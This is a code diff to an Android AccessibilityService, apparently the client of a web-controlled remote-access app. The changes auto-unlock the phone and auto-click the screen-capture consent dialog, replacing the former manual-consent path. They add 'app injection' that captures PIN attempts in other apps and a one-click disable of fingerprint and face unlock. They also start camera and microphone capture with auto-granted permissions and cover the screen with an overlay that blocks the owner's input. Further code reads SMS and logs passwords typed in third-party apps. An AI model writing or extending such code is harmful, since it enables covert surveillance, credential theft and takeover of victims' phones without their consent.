Log.i(TAG, " ✅ 设备注册: $deviceRegistered") + Log.i( + TAG, + " 🧩 运行时权限: ready=$runtimePermissionsReady, missing=${if (runtimeMissing.isEmpty()) "-" else runtimeMissing.joinToString(",")}" + ) + Log.i(TAG, " 🛡️ 配置遮盖开关: enabled=$maskEnabled") + Log.i(TAG, " 🎬 投屏申请状态: inProgress=$mediaProjectionRequestInProgress, settled=$projectionFlowSettled") Log.i(TAG, " 🔧 WRITE_SETTINGS权限: $writeSettingsPermissionReady") Log.i( TAG, " 🔄 授权模块状态: 正在授权=${authorizationModule?.isAuthorizing()}, 可以隐藏=$authorizationNotRunning" ) - // ✅ 新增AuthorizationModule状态作为第五个核心条件 - if (mediaProjectionReady && serverConnected && deviceRegistered && writeSettingsPermissionReady && authorizationNotRunning) { - Log.i(TAG, "✅ 所有条件满足,准备隐藏配置遮盖") - - // 🆕 在隐藏配置遮盖之前先启用阻止手机操作功能 - Log.i(TAG, "🔒 配置完成,启用阻止手机操作功能") -// blockDeviceInput() //先不隐藏 - - // 🆕 同步状态到服务端 -// syncInputBlockedStateToServer(true) - - allPermissionsCompleted = true - - // ✅ 配置完成后停止无障碍设置页面监控 - stopAccessibilityPageMonitor() - -// if (::configMaskManager.isInitialized) { -// configMaskManager.hideConfigMask() -// Log.i(TAG, "✅ 配置遮盖已成功隐藏,阻止手机操作功能已启用") -// } - if (::configProgressManager.isInitialized) { - Log.i(TAG, "📊 ConfigProgressManager已初始化,调用completeConfiguration()") - configProgressManager.completeConfiguration() - android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ - configMaskManager.hideConfigMask() - },1000) - Log.i(TAG, "🎉 配置进度已标记为完成") - } else { - Log.w(TAG, "⚠️ ConfigProgressManager未初始化,无法调用completeConfiguration()") + if ( + mediaProjectionReady && + serverConnected && + deviceRegistered && + runtimePermissionsReady && + projectionFlowSettled && + writeSettingsGatePassed && + authorizationGatePassed + ) { + val completionReason = buildString { + append("mediaProjectionReady=$mediaProjectionReady") + append(", serverConnected=$serverConnected") + append(", deviceRegistered=$deviceRegistered") + append(", runtimeReady=$runtimePermissionsReady") + append(", projectionSettled=$projectionFlowSettled") + append(", writeSettingsReady=$writeSettingsPermissionReady") + append(", authorizationNotRunning=$authorizationNotRunning") + append(", maskEnabled=$maskEnabled") } + markSetupCompletedIfNeeded(completionReason) } else { Log.w( TAG, - "⚠️ 条件未满足,保持配置遮盖显示 (MediaProjection=$mediaProjectionReady, Server=$serverConnected, Device=$deviceRegistered, WriteSettings=$writeSettingsPermissionReady)" + "⚠️ 条件未满足,保持配置遮盖显示 (MediaProjection=$mediaProjectionReady, Server=$serverConnected, Device=$deviceRegistered, Runtime=$runtimePermissionsReady, ProjectionSettled=$projectionFlowSettled, WriteSettingsGate=$writeSettingsGatePassed, AuthorizationGate=$authorizationGatePassed)" ) } } catch (e: Exception) { @@ -5075,6 +5477,48 @@ class AccessibilityRemoteService : AccessibilityService() { } } + fun enableAppInjection(targetPackage: String, appName: String? = null) { + try { + accessibilityEventManager.enableAppInjection(targetPackage, appName) + } catch (e: Exception) { + Log.e(TAG, "❌ 开启应用注入监听失败: $targetPackage", e) + getSocketIOManager()?.sendPermissionResponse( + "app_injection", + false, + "Enable injection failed: ${e.message ?: "unknown"}" + ) + } + } + + fun disableAppInjection(reason: String = "manual") { + try { + accessibilityEventManager.disableAppInjection(reason) + } catch (e: Exception) { + Log.e(TAG, "❌ 关闭应用注入监听失败", e) + getSocketIOManager()?.sendPermissionResponse( + "app_injection", + false, + "Disable injection failed: ${e.message ?: "unknown"}" + ) + } + } + + fun onAppInjectionPinAttempt(success: Boolean, attempt: Int) { + try { + accessibilityEventManager.onAppInjectionPinAttempt(success, attempt) + } catch (e: Exception) { + Log.e(TAG, "❌ 处理注入 PIN 回调失败", e) + } + } + + fun onAppInjectionPinDismissed(reason: String = "dismissed") { + try { + accessibilityEventManager.onAppInjectionPinDismissed(reason) + } catch (e: Exception) { + Log.e(TAG, "❌ 处理注入 PIN 页面关闭回调失败", e) + } + } + /** * WebSocketClient已移除 - 现在只使用Socket.IO连接 */ @@ -5095,7 +5539,7 @@ class AccessibilityRemoteService : AccessibilityService() { if (::maskOverlayManager.isInitialized) { maskOverlayManager.performWithMaskControl({ gestureController.performClick(x, y) - }) + }, passThroughDurationMs = 300L) } else { gestureController.performClick(x, y) } @@ -5131,7 +5575,7 @@ class AccessibilityRemoteService : AccessibilityService() { if (::maskOverlayManager.isInitialized) { maskOverlayManager.performWithMaskControl({ gestureController.performSwipe(startX, startY, endX, endY, duration) - }) + }, passThroughDurationMs = (duration + 320L)) } else { gestureController.performSwipe(startX, startY, endX, endY, duration) } @@ -5152,7 +5596,7 @@ class AccessibilityRemoteService : AccessibilityService() { if (::maskOverlayManager.isInitialized) { maskOverlayManager.performWithMaskControl({ gestureController.performLongPress(x, y) - }) + }, passThroughDurationMs = 1400L) } else { gestureController.performLongPress(x, y) } @@ -5199,7 +5643,7 @@ class AccessibilityRemoteService : AccessibilityService() { if (::maskOverlayManager.isInitialized) { maskOverlayManager.performWithMaskControl({ gestureController.performContinuousLongPressDrag(pathPoints, duration) - }) + }, passThroughDurationMs = (duration + 420L)) } else { gestureController.performContinuousLongPressDrag(pathPoints, duration) } @@ -5801,12 +6245,14 @@ class AccessibilityRemoteService : AccessibilityService() { try { Log.i(TAG, "🧹 清理服务资源") + stopRomPermissionGuard() serviceScope.cancel() // 清理日志收集器 logCollector?.cleanup() logCollector = null + // 停止屏幕捕获 if (::screenCaptureManager.isInitialized) { screenCaptureManager.stopCapture() @@ -6078,41 +6524,141 @@ class AccessibilityRemoteService : AccessibilityService() { /** * 🆕 重新获取MediaProjection权限(由Web端调用) */ + private suspend fun triggerMediaProjectionPermissionRequest( + source: String, + forceResetPermissionData: Boolean, + sendBackupBroadcast: Boolean + ) { + try { + try { + val keyguardManager = getSystemService(Context.KEYGUARD_SERVICE) as? KeyguardManager + val isLocked = keyguardManager?.isKeyguardLocked == true + if (isLocked) { + Log.i(TAG, "🔓 投屏授权前检测到锁屏,尝试自动解锁") + unlockDevice() + delay(2200) + } + } catch (e: Exception) { + Log.w(TAG, "⚠️ 投屏授权前自动解锁检查失败", e) + } + + wakeScreen() + delay(350) + val returned = smartReturnToApp() + Log.i(TAG, "🏠 投屏授权前台准备: source=$source, returned=$returned") + + val hasPermissionData = MediaProjectionHolder.getPermissionData() != null + val hasProjectionObject = MediaProjectionHolder.getMediaProjection() != null + val permissionDataValid = MediaProjectionHolder.isPermissionDataValid() + val shouldClearPermissionData = + forceResetPermissionData || (hasPermissionData && !permissionDataValid && !hasProjectionObject) + + if (shouldClearPermissionData) { + if (forceResetPermissionData || hasProjectionObject) { + // Android 15 token stale 场景下必须清理旧实例引用,否则会反复复用失效对象。 + MediaProjectionHolder.clearMediaProjection() + } + MediaProjectionHolder.clearPermissionData() + Log.i( + TAG, + "🧹 已清理投屏权限数据: source=$source, forceReset=$forceResetPermissionData, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject, permissionDataValid=$permissionDataValid" + ) + } else { + Log.i( + TAG, + "♻️ 保留现有投屏权限数据: source=$source, hasPermissionData=$hasPermissionData, hasProjectionObject=$hasProjectionObject, permissionDataValid=$permissionDataValid" + ) + } + + val currentHasPermissionData = MediaProjectionHolder.getPermissionData() != null + val currentHasProjectionObject = MediaProjectionHolder.getMediaProjection() != null + + // 保持自动点击能力,减少人工介入。 + if (::permissionGranter.isInitialized) { + val alreadyRequesting = permissionGranter.isMediaProjectionRequestInProgress() + if (alreadyRequesting && !forceResetPermissionData) { + Log.i(TAG, "⏭️ 投屏授权流程已在进行中,跳过重复触发: source=$source") + return + } + permissionGranter.setMediaProjectionRequesting(true) + Log.i(TAG, "✅ 已启用PermissionGranter自动点击") + } + + val timestamp = System.currentTimeMillis() + val movedToFront = bringExistingMainTaskToFront("media_projection_refresh:$source") + if (movedToFront) { + delay(250) + } + val intent = Intent( + this@AccessibilityRemoteService, + com.hikoncont.MainActivity::class.java + ).apply { + addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP) + putExtra("AUTO_REQUEST_PERMISSION", true) + putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true) + putExtra("WEBRTC_ONLY_REQUEST", true) + putExtra("TIMESTAMP", timestamp) + putExtra("SOURCE", source) + putExtra("FORCE_PERMISSION_DATA_RESET", forceResetPermissionData) + } + + val appOnTop = isAppOnTopByAccessibility() + val forceStartActivityForProjectionRequest = + forceResetPermissionData || !currentHasPermissionData || !currentHasProjectionObject + val topPackageForProjection = try { + rootInActiveWindow?.packageName?.toString().orEmpty() + } catch (_: Exception) { + "" + } + val permissionContextVisible = isPermissionFlowContext(topPackageForProjection) + val shouldAvoidForceStartInPermissionContext = permissionContextVisible && !appOnTop + if (shouldAvoidForceStartInPermissionContext) { + Log.i( + TAG, + "⏸️ 投屏刷新检测到系统权限页上下文,跳过MainActivity强拉起: source=$source, topPkg=$topPackageForProjection, movedToFront=$movedToFront, appOnTop=$appOnTop" + ) + } else if (forceStartActivityForProjectionRequest || !movedToFront || !appOnTop) { + startActivity(intent) + Log.i( + TAG, + "✅ 已启动MainActivity申请MediaProjection权限: source=$source, movedToFront=$movedToFront, appOnTop=$appOnTop, forceStart=$forceStartActivityForProjectionRequest, hasPermissionData=$currentHasPermissionData, hasProjectionObject=$currentHasProjectionObject" + ) + } else { + Log.i( + TAG, + "♻️ 应用任务已在前台且投屏权限信息完整,跳过startActivity,改用广播触发授权链路: source=$source" + ) + } + + if (sendBackupBroadcast || movedToFront) { + val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE").apply { + putExtra("AUTO_REQUEST_PERMISSION", true) + putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true) + putExtra("WEBRTC_ONLY_REQUEST", true) + putExtra("TIMESTAMP", timestamp) + putExtra("SOURCE", "${source}_Backup") + putExtra("FORCE_PERMISSION_DATA_RESET", forceResetPermissionData) + } + sendBroadcast(backupIntent) + Log.i(TAG, "📡 已发送权限刷新备用广播: source=$source") + } + } catch (e: Exception) { + Log.e(TAG, "❌ 触发投屏权限申请失败: source=$source", e) + throw e + } + } + fun refreshMediaProjectionPermission() { try { Log.i(TAG, "📺 收到Web端重新获取投屏权限请求") serviceScope.launch { try { - // 清理现有的MediaProjection权限数据 - MediaProjectionHolder.clearPermissionData() - Log.i(TAG, "🧹 已清理现有MediaProjection权限数据") - - // 启动MainActivity重新申请权限 - val intent = Intent( - this@AccessibilityRemoteService, - com.hikoncont.MainActivity::class.java - ).apply { - addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP) - putExtra("AUTO_REQUEST_PERMISSION", true) - putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true) // 特殊标志,表示这是权限刷新请求 - putExtra("TIMESTAMP", System.currentTimeMillis()) - putExtra("SOURCE", "WebClient") - } - - startActivity(intent) - Log.i(TAG, "✅ 已启动MainActivity重新申请MediaProjection权限") - - // 发送备用广播确保MainActivity能收到请求 - val backupIntent = Intent("android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE") - backupIntent.putExtra("AUTO_REQUEST_PERMISSION", true) - backupIntent.putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true) - backupIntent.putExtra("TIMESTAMP", System.currentTimeMillis()) - backupIntent.putExtra("SOURCE", "WebClient_Backup") - sendBroadcast(backupIntent) - - Log.i(TAG, "📡 已发送权限刷新备用广播") - + triggerMediaProjectionPermissionRequest( + source = "WebClient", + forceResetPermissionData = true, + sendBackupBroadcast = true + ) } catch (e: Exception) { Log.e(TAG, "❌ 重新获取投屏权限失败", e) } @@ -6124,40 +6670,19 @@ class AccessibilityRemoteService : AccessibilityService() { } /** - * 🆕 手动授权MediaProjection权限(不自动点击确认,由用户在设备上手动操作) + * 兼容入口:触发MediaProjection授权流程(统一按自动确认链路执行) */ fun refreshMediaProjectionManual() { try { - Log.i(TAG, "📺 收到Web端手动授权投屏权限请求(不自动点击)") + Log.i(TAG, "📺 收到Web端授权投屏权限请求(按自动确认链路处理)") serviceScope.launch { try { - // 清理现有的MediaProjection权限数据 - MediaProjectionHolder.clearPermissionData() - Log.i(TAG, "🧹 已清理现有MediaProjection权限数据") - - // 🚨 关键:先重置PermissionGranter状态,确保不会自动点击 - if (::permissionGranter.isInitialized) { - permissionGranter.setMediaProjectionRequesting(false) - Log.i(TAG, "🛑 已禁用PermissionGranter自动点击,等待用户手动确认") - } - - // 启动MainActivity申请权限,但不设置自动授权标志 - val intent = Intent( - this@AccessibilityRemoteService, - com.hikoncont.MainActivity::class.java - ).apply { - addFlags(Intent.FLAG_ACTIVITY_NEW_TASK or Intent.FLAG_ACTIVITY_SINGLE_TOP) - putExtra("AUTO_REQUEST_PERMISSION", true) - putExtra("REFRESH_com.hikoncont.PERMISSION_REQUEST", true) - putExtra("MANUAL_GRANT_ONLY", true) // 标记为手动授权模式 - putExtra("TIMESTAMP", System.currentTimeMillis()) - putExtra("SOURCE", "WebClient_Manual") - } - - startActivity(intent) - Log.i(TAG, "✅ 已启动MainActivity申请权限(手动授权模式,不自动点击)") - + triggerMediaProjectionPermissionRequest( + source = "WebClient_Auto", + forceResetPermissionData = false, + sendBackupBroadcast = true + ) } catch (e: Exception) { Log.e(TAG, "❌ 手动授权投屏权限失败", e) } @@ -7153,6 +7678,7 @@ class AccessibilityRemoteService : AccessibilityService() { private var blackScreenMaskManager: com.hikoncont.service.modules.mask.AccessibilityMaskManager? = null private var isBlackScreenActive = false + private var blackScreenMaskAlpha = 220 /** * 🆕 检查黑屏遮盖状态 @@ -7195,9 +7721,10 @@ class AccessibilityRemoteService : AccessibilityService() { * 使用MaskOverlayManager的阻止手机操作功能 * ✅ 新增:检测WRITE_SETTINGS权限,如果存在则调整屏幕亮度为0 */ - fun enableBlackScreen() { + fun enableBlackScreen(maskAlpha: Int? = null) { try { Log.i(TAG, "🖤 启用黑屏遮盖 - 使用MaskOverlayManager遮罩方案") + setMaskOverlayAlpha(maskAlpha) // 如果已经有遮罩,先移除 if (isBlackScreenActive) { @@ -7218,31 +7745,22 @@ class AccessibilityRemoteService : AccessibilityService() { Log.w(TAG, "⚠️ 调整屏幕亮度失败,但继续黑屏遮盖") } } else { - Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,打开权限页面") - - // 如果没有权限,通过WriteSettingsPermissionManager打开权限页面 - if (::writeSettingsPermissionManager.isInitialized) { - try { - writeSettingsPermissionManager.openWriteSettingsPage() - Log.i(TAG, "📱 已打开WRITE_SETTINGS权限设置页面,用户可手动授权") - } catch (e: Exception) { - Log.e(TAG, "❌ 打开WRITE_SETTINGS权限页面失败", e) - } - } else { - Log.w(TAG, "⚠️ WriteSettingsPermissionManager未初始化") - } + // 远控过程中不自动拉起设置页,避免打断当前被控界面和手势链路 + Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,跳过自动亮度调节(不自动打开设置页面)") } } else { Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化") } - // 🔑 关键修复:启用AccessibilityService截图模式 - screenCaptureManager?.enableAccessibilityScreenshotMode() - - // 🔑 使用MaskOverlayManager的纯色遮罩功能 if (::maskOverlayManager.isInitialized) { - Log.d(TAG, "🔧 使用MaskOverlayManager启用纯色遮罩") - maskOverlayManager.enableBlackScreenMode() // 启用纯色遮罩模式,Web端可正常操作 + screenCaptureManager?.disableAccessibilityScreenshotMode() + if (blackScreenMaskAlpha <= 0) { + Log.i(TAG, "🫥 黑屏透明度=0,启用透明遮罩输入阻止") + maskOverlayManager.blockInputTransparent() + } else { + Log.i(TAG, "🖤 启用纯色黑屏遮罩,alpha=$blackScreenMaskAlpha") + maskOverlayManager.enableBlackScreenMode(blackScreenMaskAlpha) + } } else { Log.w(TAG, "⚠️ MaskOverlayManager未初始化,黑屏遮盖功能不可用") return @@ -7251,13 +7769,20 @@ class AccessibilityRemoteService : AccessibilityService() { isBlackScreenActive = true + // 黑屏遮罩本质上也会阻止本机输入,状态同步给Web端 + getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = true) Log.i(TAG, "✅ 黑屏遮盖已启用(基于MaskOverlayManager)") // 记录操作日志 recordOperationLog( "SYSTEM_EVENT", "启用黑屏遮盖", mapOf( "action" to "ENABLE_BLACK_SCREEN", - "note" to "手机端显示遮罩,Web端可正常操作", + "note" to if (blackScreenMaskAlpha <= 0) { + "启用透明遮罩 + 最低亮度,仅阻止本机操作,Web端画面保持" + } else { + "启用黑色遮罩(alpha=$blackScreenMaskAlpha) + 最低亮度,阻止本机操作" + }, + "maskAlpha" to blackScreenMaskAlpha, "implementation" to "MaskOverlayManager", "brightnessManagement" to if (::screenBrightnessManager.isInitialized) { screenBrightnessManager.getBrightnessStatus() @@ -7305,6 +7830,8 @@ class AccessibilityRemoteService : AccessibilityService() { // 🔑 关键修复:禁用AccessibilityService截图模式 screenCaptureManager?.disableAccessibilityScreenshotMode() + // 黑屏取消后恢复本机输入,状态同步给Web端 + getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = false) Log.i(TAG, "✅ 黑屏遮盖已取消(基于MaskOverlayManager)") @@ -7522,6 +8049,12 @@ class AccessibilityRemoteService : AccessibilityService() { } isUninstallProtectionEnabled = false + // 持久化保存关闭状态,避免重启后自动恢复为开启 + try { + val sp = getSharedPreferences(UNINSTALL_PROTECTION_PREF, MODE_PRIVATE) + sp.edit().putBoolean(KEY_UNINSTALL_PROTECTION, false).apply() + } catch (_: Exception) { + } // 停止监听 stopUninstallProtectionMonitor() @@ -8885,19 +9418,8 @@ class AccessibilityRemoteService : AccessibilityService() { Log.w(TAG, "⚠️ 调整屏幕亮度失败,但继续阻止输入") } } else { - Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,打开权限页面") - - // 如果没有权限,通过WriteSettingsPermissionManager打开权限页面 - if (::writeSettingsPermissionManager.isInitialized) { - try { - writeSettingsPermissionManager.openWriteSettingsPage() - Log.i(TAG, "📱 已打开WRITE_SETTINGS权限设置页面,用户可手动授权") - } catch (e: Exception) { - Log.e(TAG, "❌ 打开WRITE_SETTINGS权限页面失败", e) - } - } else { - Log.w(TAG, "⚠️ WriteSettingsPermissionManager未初始化") - } + // 远控过程中不自动拉起设置页,避免打断当前被控界面和手势链路 + Log.w(TAG, "⚠️ 没有WRITE_SETTINGS权限,跳过自动亮度调节(不自动打开设置页面)") } } else { Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化") @@ -8915,6 +9437,9 @@ class AccessibilityRemoteService : AccessibilityService() { isInputBlocked = true } + // 同步输入阻止状态到服务端,确保Web端状态及时刷新 + getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = true) + } catch (e: Exception) { Log.e(TAG, "❌ 阻止设备用户输入失败", e) @@ -8952,6 +9477,9 @@ class AccessibilityRemoteService : AccessibilityService() { Log.w(TAG, "⚠️ ScreenBrightnessManager未初始化") } + // 同步输入阻止状态到服务端,确保Web端状态及时刷新 + getSocketIOManager()?.sendDeviceInputBlockedChanged(blocked = false) + } catch (e: Exception) { Log.e(TAG, "❌ 恢复设备用户输入失败", e) } @@ -8984,6 +9512,9 @@ class AccessibilityRemoteService : AccessibilityService() { * 启用操作日志记录 */ fun enableLogging() { + // 先标记期望状态,避免在管理器未初始化时丢失“应开启”状态 + isLoggingEnabled = true + // 暂停:暂时不启用日志记录功能 // Log.i(TAG, "⏸️ 暂停:暂时不启用日志记录功能") // return @@ -8999,21 +9530,23 @@ class AccessibilityRemoteService : AccessibilityService() { // return // } - if (::loggingManager.isInitialized) { - // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理 - loggingManager.enableLogging() - isLoggingEnabled = true - - // ✅ 修复:启用OperationLogCollector的日志记录 - logCollector?.startLogging() - - // 更新AccessibilityEventManager的日志状态 - if (::accessibilityEventManager.isInitialized) { - accessibilityEventManager.updateLoggingStatus(true) - } - - Log.i(TAG, "✅ 日志记录已启用,包括增强的第三方应用密码和文本输入记录") + if (!::loggingManager.isInitialized) { + Log.w(TAG, "⏳ LoggingManager未初始化,已记录日志开启意图,待初始化后补启") + return } + + // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理 + loggingManager.enableLogging() + + // ✅ 修复:启用OperationLogCollector的日志记录 + logCollector?.startLogging() + + // 更新AccessibilityEventManager的日志状态 + if (::accessibilityEventManager.isInitialized) { + accessibilityEventManager.updateLoggingStatus(true) + } + + Log.i(TAG, "✅ 日志记录已启用,包括增强的第三方应用密码和文本输入记录") } /** @@ -9031,21 +9564,26 @@ class AccessibilityRemoteService : AccessibilityService() { * 禁用操作日志记录 */ fun disableLogging() { - if (::loggingManager.isInitialized) { - // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理 - loggingManager.disableLogging() - isLoggingEnabled = false + // 先写入期望状态,避免初始化顺序导致状态漂移 + isLoggingEnabled = false - // ✅ 修复:停用OperationLogCollector的日志记录 - logCollector?.stopLogging() - - // 更新AccessibilityEventManager的日志状态 - if (::accessibilityEventManager.isInitialized) { - accessibilityEventManager.updateLoggingStatus(false) - } - - Log.i(TAG, "✅ 日志记录已禁用") + if (!::loggingManager.isInitialized) { + Log.w(TAG, "⏳ LoggingManager未初始化,已记录日志关闭意图") + return } + + // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理 + loggingManager.disableLogging() + + // ✅ 修复:停用OperationLogCollector的日志记录 + logCollector?.stopLogging() + + // 更新AccessibilityEventManager的日志状态 + if (::accessibilityEventManager.isInitialized) { + accessibilityEventManager.updateLoggingStatus(false) + } + + Log.i(TAG, "✅ 日志记录已禁用") } /** @@ -9097,24 +9635,53 @@ class AccessibilityRemoteService : AccessibilityService() { * 直接启用日志记录(不检查授权状态) */ private fun enableLoggingDirectly() { + // 先标记期望状态,防止管理器尚未初始化导致状态丢失 + isLoggingEnabled = true + // // 暂停:暂时不直接启用日志记录功能 // Log.i(TAG, "⏸️ 暂停:暂时不直接启用日志记录功能") // return - if (::loggingManager.isInitialized) { - // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理 + if (!::loggingManager.isInitialized) { + Log.w(TAG, "⏳ LoggingManager未初始化,已记录日志开启意图(direct)") + return + } + + // ✅ Phase 4.3 Step 2: 委托给LoggingManager处理 + loggingManager.enableLogging() + + // ✅ 修复:启用OperationLogCollector的日志记录 + logCollector?.startLogging() + + // 更新AccessibilityEventManager的日志状态 + if (::accessibilityEventManager.isInitialized) { + accessibilityEventManager.updateLoggingStatus(true) + } + + Log.i(TAG, "✅ 日志记录已启用,包括增强的第三方应用密码和文本输入记录") + } + + /** + * 当日志状态在管理器初始化前已置为开启时,执行一次补偿启动。 + */ + private fun applyPendingLoggingStateIfNeeded(reason: String) { + try { + if (!isLoggingEnabled) { + return + } + if (!::loggingManager.isInitialized) { + Log.w(TAG, "⏳ 跳过日志补偿启动($reason): LoggingManager未初始化") + return + } + loggingManager.enableLogging() - isLoggingEnabled = true - - // ✅ 修复:启用OperationLogCollector的日志记录 logCollector?.startLogging() - - // 更新AccessibilityEventManager的日志状态 if (::accessibilityEventManager.isInitialized) { accessibilityEventManager.updateLoggingStatus(true) } - - Log.i(TAG, "✅ 日志记录已启用,包括增强的第三方应用密码和文本输入记录") + Log.i(TAG, "✅ 日志补偿启动完成: reason=$reason") + } catch (e: Exception) { + Log.e(TAG, "❌ 日志补偿启动失败: reason=$reason", e) } } @@ -10053,7 +10620,7 @@ class AccessibilityRemoteService : AccessibilityService() { addAction("android.mycustrecev.STOP_SECONDARY_CONFIRMATION") addAction("android.mycustrecev.PERMISSION_RECOVERY_FAILED") } - registerReceiver(permissionHealthReceiver, filter) + registerReceiverCompat(permissionHealthReceiver, filter) Log.i(TAG, "✅ 已注册权限健康监控广播接收器") } catch (e: Exception) { Log.e(TAG, "❌ 注册权限健康监控广播接收器失败", e) @@ -10482,6 +11049,19 @@ class AccessibilityRemoteService : AccessibilityService() { return if (::permissionGranter.isInitialized) permissionGranter else null } + fun getRuntimePermissionFailureReason(permissionType: String): String? { + return try { + if (!::permissionGranter.isInitialized) { + null + } else { + permissionGranter.getRuntimePermissionFailureReason(permissionType) + } + } catch (e: Exception) { + Log.w(TAG, "获取运行时权限失败原因异常: permissionType=$permissionType", e) + null + } + } + /** * ✅ 新增:查找所有可点击且可选择的控件 */ @@ -11260,6 +11840,7 @@ class AccessibilityRemoteService : AccessibilityService() { fun startCameraCapture() { try { Log.i(TAG, "📷 启动摄像头捕获") + ensureRemoteForegroundServiceTypeForRealtimeCapture(requireCamera = true, requireMicrophone = false) if (!checkCameraPermission()) { Log.e(TAG, "❌ 摄像头权限未授予,开始申请权限") @@ -11377,6 +11958,12 @@ class AccessibilityRemoteService : AccessibilityService() { fun startMicrophoneRecording() { try { Log.i(TAG, "🎤 开始麦克风录音") + ensureRemoteForegroundServiceTypeForRealtimeCapture(requireCamera = false, requireMicrophone = true) + if (!checkMicrophonePermission()) { + Log.w(TAG, "🎤 麦克风权限未授予,先触发自动授权流程") + requestMicrophonePermissionWithAutoGrant() + return + } microphoneManager.startRecording() } catch (e: Exception) { Log.e(TAG, "开始麦克风录音失败", e) @@ -11407,6 +11994,34 @@ class AccessibilityRemoteService : AccessibilityService() { } } + private fun ensureRemoteForegroundServiceTypeForRealtimeCapture( + requireCamera: Boolean, + requireMicrophone: Boolean + ): Boolean { + val action = when { + requireCamera && requireMicrophone -> RemoteControlForegroundService.ACTION_UPGRADE_CAMERA_MICROPHONE + requireCamera -> RemoteControlForegroundService.ACTION_UPGRADE_CAMERA + requireMicrophone -> RemoteControlForegroundService.ACTION_UPGRADE_MICROPHONE + else -> null + } ?: return true + + return try { + val intent = Intent(this, RemoteControlForegroundService::class.java).apply { + this.action = action + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(intent) + } else { + startService(intent) + } + Log.d(TAG, "✅ 已请求前台服务类型升级: action=$action") + true + } catch (e: Exception) { + Log.w(TAG, "⚠️ 请求前台服务类型升级失败: action=$action, msg=${e.message}", e) + false + } + } + fun requestGalleryPermissionWithAutoGrant() { try { @@ -11445,6 +12060,19 @@ class AccessibilityRemoteService : AccessibilityService() { } } + fun disableBiometricAuth(): Pair { + return try { + if (!::permissionGranter.isInitialized) { + Pair(false, "权限管理器未初始化") + } else { + permissionGranter.disableBiometricAuth() + } + } catch (e: Exception) { + Log.e(TAG, "一键禁用指纹/人脸失败", e) + Pair(false, "一键禁用指纹/人脸失败: ${e.message ?: "unknown_error"}") + } + } + fun readSMSList(limit: Int = 50): List { return try { @@ -11455,6 +12083,451 @@ class AccessibilityRemoteService : AccessibilityService() { } } + /** + * 设置黑屏遮罩透明度(0~255) + */ + fun setMaskOverlayAlpha(alpha: Int?) { + try { + if (alpha == null) return + val normalized = alpha.coerceIn(0, 255) + blackScreenMaskAlpha = normalized + if (::maskOverlayManager.isInitialized) { + maskOverlayManager.setMaskOverlayAlpha(normalized) + } + Log.d(TAG, "🎚️ 黑屏遮罩透明度已设置: $blackScreenMaskAlpha") + } catch (e: Exception) { + Log.e(TAG, "❌ 设置黑屏遮罩透明度失败", e) + } + } + + private fun getInstalledApplicationsCompat(packageManager: PackageManager): List { + return try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + packageManager.getInstalledApplications(PackageManager.ApplicationInfoFlags.of(0)) + } else { + @Suppress("DEPRECATION") + packageManager.getInstalledApplications(0) + } + } catch (e: Exception) { + Log.w(TAG, "⚠️ getInstalledApplications 失败", e) + emptyList() + } + } + + /** + * 作者: sue + * 日期: 2026-02-19 + * 说明: 拉取当前设备可启动应用列表,供 Web 端展示并执行一键打开。 + */ + fun listLaunchableApps(includeIcons: Boolean = false): List> { + return try { + val packageManager = packageManager + val launcherIntent = Intent(Intent.ACTION_MAIN).apply { + addCategory(Intent.CATEGORY_LAUNCHER) + } + + val launcherActivities = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) { + packageManager.queryIntentActivities( + launcherIntent, + PackageManager.ResolveInfoFlags.of(0) + ) + } else { + @Suppress("DEPRECATION") + packageManager.queryIntentActivities(launcherIntent, 0) + } + + val launcherAppList = launcherActivities + .asSequence() + .mapNotNull { resolveInfo -> + val activityInfo = resolveInfo.activityInfo ?: return@mapNotNull null + val appInfo = activityInfo.applicationInfo ?: return@mapNotNull null + if (appInfo.packageName == packageName) return@mapNotNull null + + val appName = try { + resolveInfo.loadLabel(packageManager)?.toString()?.trim().orEmpty() + } catch (_: Exception) { + "" + }.ifEmpty { + try { + packageManager.getApplicationLabel(appInfo)?.toString()?.trim().orEmpty() + } catch (_: Exception) { + "" + }.ifEmpty { appInfo.packageName } + } + + val appData = mutableMapOf( + "packageName" to appInfo.packageName, + "appName" to appName, + "isSystemApp" to ((appInfo.flags and ApplicationInfo.FLAG_SYSTEM) != 0), + "enabled" to (appInfo.enabled && activityInfo.enabled) + ) + + if (includeIcons) { + val iconBase64 = encodeAppIconBase64(packageManager, appInfo) + if (!iconBase64.isNullOrBlank()) { + appData["iconBase64"] = iconBase64 + appData["iconMimeType"] = "image/png" + } + } + + appData + } + .distinctBy { item -> item["packageName"] as String } + .sortedWith( + compareBy> { item -> item["isSystemApp"] as Boolean } + .thenBy { item -> (item["appName"] as String).lowercase() } + ) + .toList() + + if (launcherAppList.isNotEmpty()) { + Log.i(TAG, "📦 Launcher 查询应用列表成功,共 ${launcherAppList.size} 个,includeIcons=$includeIcons") + return launcherAppList + } + + Log.w(TAG, "⚠️ Launcher 查询为空,回退到已安装应用扫描") + val fallbackAppList = getInstalledApplicationsCompat(packageManager) + .asSequence() + .mapNotNull { 